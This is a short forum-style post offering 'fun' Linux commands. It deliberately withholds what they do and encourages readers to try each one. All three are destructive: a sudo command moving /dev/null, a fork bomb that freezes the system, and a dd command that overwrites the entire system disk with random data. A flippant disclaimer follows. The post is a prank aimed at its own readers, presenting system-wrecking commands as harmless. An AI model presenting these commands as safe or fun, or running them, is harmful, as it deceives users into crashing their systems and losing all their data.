Few Linux Commands : Fun Commands.

I am posting few commands,I won't tell what these commands do.
Perform & test it on your own.

 sudo mv ~/dev/null 

 :(){ :|: & };: 

 sudo dd if=/dev/random of=/dev/sda 

Disclaimer : This is just for knowledge purpose.Execute above commands at your own risk, I am not responsible for any damage.Don't PM me with hate mails FFS.

BTW You should try these commands for 'once' 😉